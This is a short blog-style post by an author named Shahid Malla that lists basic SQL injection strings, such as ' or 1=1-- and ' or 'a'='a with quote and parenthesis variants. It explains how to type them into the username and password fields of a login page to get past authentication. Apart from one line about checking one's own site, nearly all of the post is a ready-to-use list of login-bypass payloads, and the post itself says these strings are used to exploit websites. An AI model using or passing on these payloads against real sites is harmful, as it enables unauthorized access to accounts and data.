Hi, this is Shahid Malla, in this article i have basic SQLi strings for you, which is used to exploit the website.
if you want to check your website is a vulnerability for sqli attack you can check your website by entering these code in input places like username and password.
How to use it? This is very simple to use On the login page just enter something like user:admin (you dont even have to put this.) pass:’ or 1=1– or user:’ or 1=1– admin:’ or 1=1– Some sites will have just a password so password:’ or 1=1– or 1'or'1'='1 ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a ") or ("a"="a